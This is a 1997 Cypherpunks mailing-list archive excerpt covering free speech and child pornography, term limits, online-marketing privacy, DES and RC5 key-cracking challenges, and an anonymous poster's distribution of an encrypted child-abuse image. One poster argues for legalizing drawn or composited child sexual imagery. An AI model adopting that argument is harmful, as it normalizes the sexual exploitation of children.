see a clear explanation of the view. Now the other side is that they are
different. This belief rests on at least two basic tenents. The first being
that it is the physical act that constitutes the crime and not simply
thinking about it. The second is that there is a fundamental difference of
quality between an item and its representation in some symbology. From this
it becomes clear that the issue is how do we reduce the initial sexual
contact. If THAT can be resolved the other problems resolve themselves. Now,
let's assume for a moment that we have in fact resolved this issue. Should
we then regulate representations of these acts by persons when it is assumed
no actual child was involved? The representation is nothing more than the
ramblings of an expressive mind. So are we not making certain thought
illegal? This certainly contrasts with the belief that a crime requires an
act. That doesn't sound very rational to me. And what about if I don't draw
it but rather write a story? Or perhaps use my image editor to take children
bathing suite adds and medical sources to fill it out, why should this be
any different than a written description? Or perhaps that image on the Greek
pot? No, these sort of line drawing was meant to be prohibited by the
Constitution. The founding fathers must have known the world was a gray sort
of place so they took special precautions (ie 10 Amendments) to make nice and
clear boundaries for the federal government (ie 1'st Amendment). It is clear
that they expressely did not want the government involved in human
expression.

> If pornography is the enemy of crypto then that is enemy that must be fought. 

This is a straw man. There is no crypto involved in the physical act. Nice
strawman argument though, got almost the whole damn world swallowing at this
point....

> A battle that must be won without killing the enemy to insure continued
> free speech.  Quite a challenge I think.

Only if you are confused about exactly what the issue at hand is. We need
diagnostic proceedures usable by regular physicians and the issue really
needs to be handled as a medical and not a legal issue. Putting people in
jail won't effect this sort of human behaviour one damn bit. By the time the
guy gets to jail some poor kid has been really abused, is that how you want
your kid dealt with?

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Gibbon <leegib@MICROSOFT.com>
Date: Tue, 24 Jun 1997 10:15:32 +0800
To: "'Ryan Anderson'" <roy@scytale.com
Subject: RE: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <51194C00BD39CF11839000805F385DB205394FAB@RED-65-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



Why do you want Congress to function?  "The best government is one that
governs least" (Who am I (mis)quoting?).  If Congress doesn't do much,
we're better off - especially if we had sunset clauses in every law...  

Assuming a government like ours, the problem I see with "eliminating 90%
of the sitting legislature" is the question of who really rules?  I
favor term limits - only one term per position.  I don't like the idea
of professional politicians.  But, where would the power reside?  The
bureaucracy and the political parties?  -Sounds dangerous to me.

Lee
<standard disclaimers>

> -----Original Message-----
> From:	Ryan Anderson [SMTP:randerso@ece.eng.wayne.edu]
> Sent:	Saturday, June 21, 1997 10:07 AM
> To:	roy@scytale.com
> Cc:	cypherpunks@cyberpass.net
> Subject:	Re: New Laws in Oregon - "Land of the Legal betatest"
> 
> 
> On Sat, 21 Jun 1997, Roy M. Silvernail wrote:
> 
> > > How do you propose to deal with such things as the
> Telecommunications Act
> > > of 1996 (which incidently included the CDA)?   I can see a problem
> where
> > > one sentence or clause gets thrown out of a major bill (say a
> compromise
> > > budget, that someone screwed up one minor ammendment), and if you
> have
> > > that happen 3 times in 6 years, you've lost 90% of your senators!
> I'm not
> > > saying that your idea isn't without merit, just that it's got a
> few
> > > problems that strike me as somewhat major..
> > 
> > Please elaborate, as I can't see _any_ problem with eliminating 90%
> of
> > the sitting legislature.
> 
> You've completely missed my point.  This would be an on-going problem.
> Congress can only function with some idea of compromise in it.  When
> you're passing budgets, especially the kind of budgets we have right
> now,
> they get big and complicated, I can't see that changing significantly,
> even with a massive turnover of members.  But having no consistency in
> Congress at all, even for some "good" reps would be horrible.
> 
> ----------------------------------------------------------------------
> -
> Ryan Anderson - <Pug Majere>     "Who knows, even the horse might
> sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso@ece.eng.wayne.edu                        Ohio = VYI of the
> USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> ----------------------------------------------------------------------
> -





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 24 Jun 1997 08:49:53 +0800
To: cypherpunks@ssz.com
Subject: http:--cnnfn.com-digitaljam-9706-23-netbiz-
Message-ID: <199706240022.TAA24149@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   DIGITAL AlphaServer Systems [INLINE] Digital Jam [INLINE] 
   Big Brother brouhaha
   
   
   Privacy concerns lead on-line marketers to try softer approaches
   
   
   June 23, 1997: 11:08 a.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   Archenemies join hands - June 11, 1997
   
   FTC tackles privacy - June 10, 1997
   
   
   [IMAGE]
   
   Federal Trade Commission 
   
   TRUSTe NEW YORK (CNNfn) - There's an Internet argument going on.
   [INLINE] On one side are people who want to surf the Net in peace,
   free from the "spam" and insidious snooping of those anxious to make a
   quick buck.
   [INLINE] On the other side are businesses looking to take advantage of
   the Internet's promise as a vehicle for reaching specific customers
   cheaply and efficiently.
   [INLINE] Can the two sides coexist? Or will privacy advocates succeed
   in driving cyber-hawkers off line?
   [INLINE] Unlikely, experts say. That's because online companies are
   starting to use other marketing tools that make people worry less
   about Big Brother.
   [INLINE] The issue has heated up lately. Privacy rights groups are
   alarmed about the potential for abuse with junk e-mail and other
   invasive technology. In response, the Federal Trade Commission is
   probing whether marketers are snooping too much.
   [INLINE] The industry, meanwhile, is coming up with its own solutions
   to prevent lawmakers from stepping in.
   [INLINE] Experts say most of the practices raising eyebrows aren't
   much different from what's been happening off-line for years. Yet
   other analysts concede there is danger in an age where extensive
   personal information is available with the press of a key.
   [INLINE] "Consumers don't like to be shoulder-surfed when they're
   online," said Kate Delhagen, a senior analyst with Forrester Research
   Inc. in Cambridge. "(But) this is not a deal-breaker for the Web. The
   Web is alive and well and will continue to thrive. These little bombs
   will continue to go off, and they'll continue to be fixed."
   [INLINE] Besides e-mail, or "spamming," some marketers use browser
   technology to find out where a user has been on the Net or track him
   when he leaves a site by following his electronic footprints.
   Companies are also selling information on databases.
   [INLINE] "It's as if they can shadow you on the Web," said Susan
   Scott, executive director of TRUSTe, a non-profit organization of 50
   companies whose mission is to promote trust in online commerce.
   [INLINE] Dan Miller, senior editor with The Web Magazine in San
   Francisco, thinks junk e-mail and the other practices aren't central
   to doing business online.
   [INLINE] "You can do business online without violating someone's
   privacy," Miller said.
   [INLINE] Instead of flooding people with junk e-mail, or "spam," some
   companies such as Amazon.com ask users if they want to be notified
   about new products, Miller said. That puts the control in the hands of
   the users, he said.
   [INLINE] In other cases, companies are creating new partnerships, like
   the one between Border books and Salon, an online Arts magazine,
   Miller said. At the end of Salon's book reviews is a link to Border so
   people can order the book.
   [INLINE] Experts said the disputed methods do work - but at the risk
   of alienating customers.
   [INLINE] "People universally hate spam," said Evan Schwartz, author of
   "Webonomics" and a contributing editor to "Wired" magazine. Smart Web
   sites treat customers respectfully by avoiding mass e-mailing or
   selling information from lists, he said.
   [INLINE] Scott said spamming is more widespread among smaller
   companies because it's so cheap - pennies for each e-mail address
   compared to a few dollars for each name in direct mail.
   [INLINE] "It's a numbers game - the more you send out, the more
   response you get," Scott said. The method has about a 1 percent
   return.
   [INLINE] Sanford Wallace, founder and president of Cyber Promotions,
   the largest bulk e-mail company in the country, insists the practice
   doesn't violate privacy. But he helped organize the Internet E-Mail
   Marketing Council to promote ethical standards. The council has a
   central address where people can get their names removed from all mass
   e-mailers.
   [INLINE] While the new standard might mean the loss of huge numbers of
   customers, "there are still millions and millions left," Wallace said.
   [INLINE] Tracking has been effective to help marketers find out about
   a person's interests so they can target ads, Scott said. If a person
   visits gardening sites, for example, a vendor can flash banner ads on
   the topic.
   [INLINE] "People don't understand the technology and there's a lot of
   anxiety about it," Scott said. "There's so much bad press that it's
   past the point of educating the consumer."
   [INLINE] Controversy about tracking was so heated two archrivals,
   Microsoft Corp. and Netscape Communications Corp., recently proposed a
   common standard so users can control how much information is available
   about themselves.
   [INLINE] Experts say selling information from databases isn't much
   different from what's been happening in the catalogue business.
   [INLINE] "That type of thing happens all the time," said Don Heath,
   president and chief executive of the Internet Society, a non-profit
   organization of 8,000 individuals and organizations.
   [INLINE] Eight information companies, including LEXIS-NEXIS, recently
   adopted guidelines to protect personal information like Social
   Security numbers on databases.
   [INLINE] Scott argued that most online companies still rely on
   traditional advertising.
   [INLINE] "These (disputed) methods haven't been widespread," Scott
   said. "Even Yahoo goes on TV to tell people to get on the Web. To
   reach the mass market, you have to go through traditional means."
   [INLINE] Scott thinks the uproar about electronic privacy will force
   people to think about the issue off-line, too. People have resigned
   themselves to getting piles of junk mail and catalogues, for example.
   [INLINE] "People had given up trying to protect their privacy, but
   this will make them think about it again," Scott said. Link to top 
   [INLINE] -- Martine Costello
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   [INLINE] quote box
   [INLINE] - Kate Delhagen
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   [INLINE] Wallace photo
   [INLINE] Sanford Wallace doesn't think bulk e-mail violates privacy
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
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   ALL RIGHTS RESERVED.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Date: Tue, 24 Jun 1997 07:39:04 +0800
To: Alan <alano@teleport.com>
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970623192551.00935250@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I truly admire how you (and others) infer what you have from my post.
Simply remarkable.

I will keep my statements short and direct for those of you who have had to
much coffee.

I support the constitution.  In the case of the first ammendment: The
freedom it allows you, or whoever, to send spam and indulge in child
pornography is the same freedom provided to those who say those ideas are
wrong.  Got it?

I did not intend to infer any sexuality of any kind.

The question still stands --- please try not to rant --- attempt to post
your constructive thoughs:

How do we deal with child pornography and free speech in such a way as to
allow both to exist and insure our children are not exposed to pornographic
material until they are at a maturity level where they can deal with it?

If pornography is the enemy of crypto then that is enemy that must be fought. 

A battle that must be won without killing the enemy to insure continued
free speech.  Quite a challenge I think.

Now, do you have any idea how to do that?
At 10:42 AM 6/23/97 -0700, you wrote:
>On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:
>
>> I certainly agree with free speech and understand how it can be manipulated
>> by the scum bags at large in society, _BUT_ free speech is free speech.
>> The warts come from an ever increasing BENT society.
>
>No you don't.  You believe in free speach for the things that do not tweak
>your worldview.  I am certainly willing to bet that if you had the chance
>to remove the rights of the "bent" people from expressing their views, you
>would not hesitate in the slightest.
>
>> I still am concerned about kids being subject to material that is
>> inappropriate for their age group (what ever that may be).  
>
>"Whatever that may be" is a very telling statement.  How can you tell what
>is "appropreate" or "not".  What the media tells you?  What your religious
>leaders tell you?  What the voices in your head tell you?  What the
>government tells you?  All of those values are subjective.  They depend on
>what you may or may not believe is "harmful".  Most of that is based on
>cultural conditioning.
>
>>So how do I
>> insure that my son/daugher does not get their hands on _THIS_ material?
>
>Kill them now.  Stick them in a box and feed them through a slot in the
>door. Gouge out their eyes. Cut off their hands.
>
>> Twenty seven years ago I took an oath to do whatever was needed to protect
>> and defend the constitution against all enemies (domestic and foreign)  But
>> what is the solution to this problem from a parents point of view?
>
>You view the constitution as a problem?  Free speach as a problem?
>
>Or maybe you have a problem that your children might learn about things
>that you disapprove of?  Maybe they might read something that shows them
>that sex is a part of life, not just something that is a side benefit of
>marriage.  Maybe they might learn that sex is fun!  Maybe they will find
>out that the religion their parents saddled them with is based on lies and
>urban legend.  maybe they will find that their government is not so kind
>and benevolent after all.  Maybe they will find out that their parents are
>human and make mistakes.  Or maybe they will even figure out that the
>material the parents are so afraid of are only harmful to the parents...
>
>>  Simple
>> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
>> reason this is a violation of the 1st amendment to!
>
>It is also an impossibility.  People have tried to control the natural
>interest in sex since the dawn of time.  Has not worked yet.  Porn has
>existed since man discovered woman.  Some of the earliest existing films
>are porno movies.  What has changed is access and awareness.  Until
>reletive reciently porn has been more underground.  But with the spread of
>technology, it has become easier and easier to supply the demand for such
>things.
>
>Or as a certain math professor once said... "Dirty books are fun!"
>
>>  Ok, my mistake, its my
>> problem.  That's easy, no Internet access.  Now my kid is at a
>> disadvantage!  I keep loosing here.  I don't like the way this is beginning
>> to feel!!
>
>Your kid is already at a disadvantage.  His parents have lost perspective.
>
>> I'm sure that the community on this list has discussed this problem at
>> length.  What is the best defense?  How do we get the message out or,
>> better yet, deliver it?  
>
>You assume that it actually is a problem.  Your moral qualms over pictures
>of sexual activity does not a problem make.
>
>it is people like yourself who are activly destroying what little remains
>of the constitution.  You want an exception for this and a rationalization
>for that until thre is nothing left but the blandest and most tasteless
>thoughts and speach.
>
>> Whatever that is, we need to do the same thing for the 2nd Ammendment, and
>> the 3rd, and so on.
>
>Like actually follow it?  Wow!  That would be a first.
>
>> The challenge to write code could be fun, but maybe we should use our
>> collective wisdom to deliver the best of the best solutions (there may be
>> more than one) to our elected officials.  Load their mailboxes up with
>> solutions to problems.  Sooner or later more than one of them is going to
>> think its his/her idea and push it along.  Web sites can be set up to
>> assist them with details.  I'm sure you get the idea.
>
>You are talking to the wrong group of people.  What you are asking for is
>a way to censor the masses.
>
>Anything an adult can get, a child can get.
>
>Attempts to censor children and control what they hear, see and feel are
>vague attempts to do the same to adults.  You cannot control the
>information feed to children without controling the information feed for
>adults. (But deep down in your heart you would like to see that as well.)
>
>> Just another citizen wondering if anything is going to be left for our
>> grandchildren.
>
>You think this information will harm them?  Actually the control freak
>mentality you want to impose is far far worse.  In actuality, much of the
>problems you would like to blame on porn are, in actuality, borne out of
>this country's hypocracy and neurosis about sex and sexuality.  the reason
>people are so fucked up about fucking is because they have been taught
>that sex is somehow wrong and shameful and dirty.  That appreciating the
>beauty of the sexual act is somehow more vile and disgusting than showing
>someone shot full of holes.
>
>I think you need to examine WHY this information makes you uncomfortable.
>You might learn something about yourself.  But don't expect us to help
>inflict your sickness on the minds of your children.
>
>alano@teleport.com | "Those who are without history are doomed to retype it."
>
>
>At 10:42 AM 6/23/97 -0700, Alan wrote:
>On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:
>
>> I certainly agree with free speech and understand how it can be manipulated
>> by the scum bags at large in society, _BUT_ free speech is free speech.
>> The warts come from an ever increasing BENT society.
>
>No you don't.  You believe in free speach for the things that do not tweak
>your worldview.  I am certainly willing to bet that if you had the chance
>to remove the rights of the "bent" people from expressing their views, you
>would not hesitate in the slightest.
>
>> I still am concerned about kids being subject to material that is
>> inappropriate for their age group (what ever that may be).  
>
>"Whatever that may be" is a very telling statement.  How can you tell what
>is "appropreate" or "not".  What the media tells you?  What your religious
>leaders tell you?  What the voices in your head tell you?  What the
>government tells you?  All of those values are subjective.  They depend on
>what you may or may not believe is "harmful".  Most of that is based on
>cultural conditioning.
>
>>So how do I
>> insure that my son/daugher does not get their hands on _THIS_ material?
>
>Kill them now.  Stick them in a box and feed them through a slot in the
>door. Gouge out their eyes. Cut off their hands.
>
>> Twenty seven years ago I took an oath to do whatever was needed to protect
>> and defend the constitution against all enemies (domestic and foreign)  But
>> what is the solution to this problem from a parents point of view?
>
>You view the constitution as a problem?  Free speach as a problem?
>
>Or maybe you have a problem that your children might learn about things
>that you disapprove of?  Maybe they might read something that shows them
>that sex is a part of life, not just something that is a side benefit of
>marriage.  Maybe they might learn that sex is fun!  Maybe they will find
>out that the religion their parents saddled them with is based on lies and
>urban legend.  maybe they will find that their government is not so kind
>and benevolent after all.  Maybe they will find out that their parents are
>human and make mistakes.  Or maybe they will even figure out that the
>material the parents are so afraid of are only harmful to the parents...
>
>>  Simple
>> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
>> reason this is a violation of the 1st amendment to!
>
>It is also an impossibility.  People have tried to control the natural
>interest in sex since the dawn of time.  Has not worked yet.  Porn has
>existed since man discovered woman.  Some of the earliest existing films
>are porno movies.  What has changed is access and awareness.  Until
>reletive reciently porn has been more underground.  But with the spread of
>technology, it has become easier and easier to supply the demand for such
>things.
>
>Or as a certain math professor once said... "Dirty books are fun!"
>
>>  Ok, my mistake, its my
>> problem.  That's easy, no Internet access.  Now my kid is at a
>> disadvantage!  I keep loosing here.  I don't like the way this is beginning
>> to feel!!
>
>Your kid is already at a disadvantage.  His parents have lost perspective.
>
>> I'm sure that the community on this list has discussed this problem at
>> length.  What is the best defense?  How do we get the message out or,
>> better yet, deliver it?  
>
>You assume that it actually is a problem.  Your moral qualms over pictures
>of sexual activity does not a problem make.
>
>it is people like yourself who are activly destroying what little remains
>of the constitution.  You want an exception for this and a rationalization
>for that until thre is nothing left but the blandest and most tasteless
>thoughts and speach.
>
>> Whatever that is, we need to do the same thing for the 2nd Ammendment, and
>> the 3rd, and so on.
>
>Like actually follow it?  Wow!  That would be a first.
>
>> The challenge to write code could be fun, but maybe we should use our
>> collective wisdom to deliver the best of the best solutions (there may be
>> more than one) to our elected officials.  Load their mailboxes up with
>> solutions to problems.  Sooner or later more than one of them is going to
>> think its his/her idea and push it along.  Web sites can be set up to
>> assist them with details.  I'm sure you get the idea.
>
>You are talking to the wrong group of people.  What you are asking for is
>a way to censor the masses.
>
>Anything an adult can get, a child can get.
>
>Attempts to censor children and control what they hear, see and feel are
>vague attempts to do the same to adults.  You cannot control the
>information feed to children without controling the information feed for
>adults. (But deep down in your heart you would like to see that as well.)
>
>> Just another citizen wondering if anything is going to be left for our
>> grandchildren.
>
>You think this information will harm them?  Actually the control freak
>mentality you want to impose is far far worse.  In actuality, much of the
>problems you would like to blame on porn are, in actuality, borne out of
>this country's hypocracy and neurosis about sex and sexuality.  the reason
>people are so fucked up about fucking is because they have been taught
>that sex is somehow wrong and shameful and dirty.  That appreciating the
>beauty of the sexual act is somehow more vile and disgusting than showing
>someone shot full of holes.
>
>I think you need to examine WHY this information makes you uncomfortable.
>You might learn something about yourself.  But don't expect us to help
>inflict your sickness on the minds of your children.
>
>alano@teleport.com | "Those who are without history are doomed to retype it."
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 23 Jun 1997 21:48:28 +0800
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.93.970623185908.143B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:

[...]

> I certainly agree with free speech and understand how it can be manipulated
> by the scum bags at large in society,

There is a cuple of mixxed messeges here and I'm going to try to sort them
out.

Do you mean scum bags as in crooks who steal my mail box I pay for without
my permittion to sell me stuff I don't whant?  Then under normal
property laws I should be able to gain reprehence.

Thouse who con naive peaple into giveing them money?

The best wepon against these is an informed and educated public.
Unfortunitly the fact that peaple still post MMF indercates the net-public
still has a sizable number of peaple with inpeard thort proccesses.

Or do you mean thouse who have diffrent sexulial natures to you?

I've met plenty of peaple like this, most of them I would consder postive
contracbutions to the world.

[...]

> I still am concerned about kids being subject to material that is
> inappropriate for their age group (what ever that may be).

First question kids in general or your kids?

> So how do I
> insure that my son/daugher does not get their hands on _THIS_ material?

The best and often easyest to implerment is to use the internet with them.
Net(lock nanny ect) type softwere is of debaitable qulity, the main
question with it is "Do you trust a corpration to bring up your child."?

> Twenty seven years ago I took an oath to do whatever was needed to protect
> and defend the constitution against all enemies (domestic and foreign)

I for one wish I had a consitution that was worth taking an oath to.  But
I would honer it better by reading and understanding it reather then
admiring the cover.

>  But
> what is the solution to this problem from a parents point of view?  Simple
> - control the material.

To any complex problem there is always a simple odvice soultion, and that
soultion is wrong.

> Make it like liquor, guns, booze.

But infomation is totaly unlike liquor, guns and booze, for one thing it
moves faster, and for anthougher thing unlike liquor, guns and booze
infomation is a fundermental aspect of the cotinuence of our democries.

> Oops.. for some reason this is a violation of the 1st amendment to!

You seem shocked by this, why.  I can't see how any goverment effort to
control the free flow of information could be seen as anything other then
a violation of your first amdment.

>  Ok, my mistake, its my problem.

You are an adult in a libral democrosy,  you get rights and in exchange
you get problems.

> That's easy, no Internet access.  Now my kid is at a
> disadvantage!  I keep loosing here.  

The world is complex, there are no easy answers, there is no one
true way,  there might not even be a soultion to your problem.

[...]

> The challenge to write code could be fun,but maybe we should use our
> collective wisdom to deliver the best of the best solutions 

That is the whole idear of this list as I understand it, to implerment the
best of the best soultions WRT crypto, priversy ect.  its a grass roots
aproch as good code has a far greater inpact on the net then anything
else.

> Just another citizen wondering if anything is going to be left for our
> grandchildren.

Death of the internet film at 11?

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 24 Jun 1997 11:12:28 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: A better DES challenge
In-Reply-To: <199706232004.QAA11706@nsa.research.att.com>
Message-ID: <3.0.2.32.19970623200525.007039f8@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:15 PM 6/23/97 -0700, Mike Duvos wrote:
>Really.  It appears that the DESCHALL frivolities actually
>enhanced the reputation of DES, fluffy press releases by C2 and
>Security Dynamics notwithstanding.

Which is why I opposed a distributed crack ever since the crack was first
proposed. But once the crack got underway, the only thing to do was to
participate and hope it wouldn't take all that long. Stressing the
individual that found the key over the group effort was the best thing that
could be done in an already bad situation. Spin control is a fact of life.

Now on to breaking 56 bit RC5 (a waste of time, but until that's out of the
way there will be no sufficient support to break 64 bit RC5).

I am encouraging corporate sponsorships for breaking RC5-64. If we can get
$100,000 together (should be easy), people will find cycles you didn't even
know existed. :-)


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 24 Jun 1997 11:28:22 +0800
To: cryptography@c2.net
Subject: Who is going to HIP'97?
Message-ID: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Who on this list intends to go to HIP'97? http://www.hip97.nl
I would like to organize a C*punks meeting there.

Thanks,
--Lucky
--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 24 Jun 1997 12:00:19 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <3.0.2.32.19970623205518.03982440@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:46 PM 6/23/97 -0400, Adam Shostack wrote:
>Lucky Green wrote:
>| Who on this list intends to go to HIP'97? http://www.hip97.nl
>| I would like to organize a C*punks meeting there.
>
>I'm going to go to Beyond Hope instead.  (www.2600.com)

Which will have live links with HIP. MBONE meeting, anyone?


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 24 Jun 1997 07:27:25 +0800
To: cypherpunks@toad.com
Subject: Re: Child Porn 3 [JPG]
In-Reply-To: <199706231803.OAA12416@dhp.com>
Message-ID: <199706232001.VAA01882@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




The anonymous porn protagonist writes:

> Here, yet again, is the same Time-Life child pornography picture, which
> is encrypted with the public keys of people I don't know from squat.
> Nonetheless, they are now co-conspirators in the Time-Life/Cypherpunks
> child pornography ring.

is keyid 0xD2DF803D this key?

Type Bits/KeyID    Date       User ID
pub  1024/D2DF803D 1995/08/13 Joseph Chamness <jmnc2@student.open.ac.uk>
            Key fingerprint = 6F A9 2E 13 AF 1F 10 E6  5C 25 89 0A B4 09 26 3B

Either you're getting these keys off the keyservers, or we have a real
life example of a keyid collision.  (The Joseph with the key above is
my brother in law and he's never been subscribed to nor read
cypherpunks to my knowledge).

btw, I have Joseph's public and private keys on my disk, he gave them
to me because he forgot his passphrase almost as soon as I showed him
how to generate the key.  We were unsuccessful in guessing his
passphrase with PGPcrack, so I won't be viewing this gif.
Unfortunately I added his key to the keyservers for him before he
forgot his passphrase.

btw2 thanks for the copy to my key in the previous post.  It was really
quite a boring picture.  Anyway, I did pgp -w t.gif after viewing just
to be on the safeish side :-)

btw3 is there some moral to this exercise?  Showing child porn is
over-hyped?  Attempting to give fedz an excuse to bust us other than
for being crypto enthusiasts, exporters of illegal T-shirts, and
thinkers of non-government approved thoughts?

(Thinking of the AA case where the fedz mailed the target a child porn
package and kicked the door in seconds after the package hit the door
mat, before they even knew their mail had arrived, and busted them for
"possession" of child porn.)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Tue, 24 Jun 1997 13:02:51 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: A better DES challenge
In-Reply-To: <199706232004.QAA11706@nsa.research.att.com>
Message-ID: <33AF4D42.D971824@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> At 06:15 PM 6/23/97 -0700, Mike Duvos wrote:
>> Really.  It appears that the DESCHALL frivolities actually
>> enhanced the reputation of DES, fluffy press releases by C2 and
>> Security Dynamics notwithstanding.
> 
> Which is why I opposed a distributed crack ever since the crack was
> first proposed. But once the crack got underway, the only thing to do
> was to participate and hope it wouldn't take all that long. Stressing
> the individual that found the key over the group effort was the best
> thing that could be done in an already bad situation. Spin control is
> a fact of life.

IMHO, it would have been better to emphasize the group effort, and that
they could continue to crack keys at a rate of one every 30 days even
if the computing base didn't continue to grow.  Not to mention that they
could also be cracking 40-bit keys at a rate of about 2000 a day.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 24 Jun 1997 12:49:19 +0800
To: jonathon <grafolog@netcom.com>
Subject: Re: How did these people find our list?
In-Reply-To: <v03102801afd44ad76fad@[207.167.93.63]>
Message-ID: <v03102802afd50004b603@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:05 PM -0700 6/23/97, jonathon wrote:
>On Mon, 23 Jun 1997, Tim May wrote:
>
>> there has been no credible threat of attack or invasion of the states in
>> America in at least 170 years, what you were largely agreeing to protect
>
>	Pearl Harbour.

I said _states_. Hawaii became a state in 1959-60.


>	The State of Oregon << The only state to have been bombed by
>	a foreign country.  >>  during World War Two.

Balloons carrying incendiaries.

Likewise, where I once lived, Goleta, CA, was shelled by a Japanese sub.

In any case, these latter incidents occurred _after_ the start of the war.
Hardly an example of a U.S. state being attacked.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 24 Jun 1997 11:27:03 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970623184633.28368H-100000@beast.brainlink.com>
Message-ID: <199706240318.WAA01933@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970623184633.28368H-100000@beast.brainlink.com>, on
06/23/97 
   at 06:51 PM, Ray Arachelian <sunder@brainlink.com> said:

>On Fri, 13 Jun 1997 tzeruch@ceddec.com wrote:

>> 
>> If the state issues me a permit, they probably have a right to the
>> information pertaining to the permit, e.g. they do need the make, model,
>> year, and similar information about the car to issue a title or
>> registration.  If they are issuing state ID, they need to know that I am
>> me in order to issue it.  They don't need to place my mother's maiden name
>> into the record although I think it appears on my birth certificate, and
>> would cause problems since this is used as an informal password.  My
>> driver's license is a permit to drive, not a permit to be me.  You can
>> make a case for the database containing my age, but date of birth?  Much
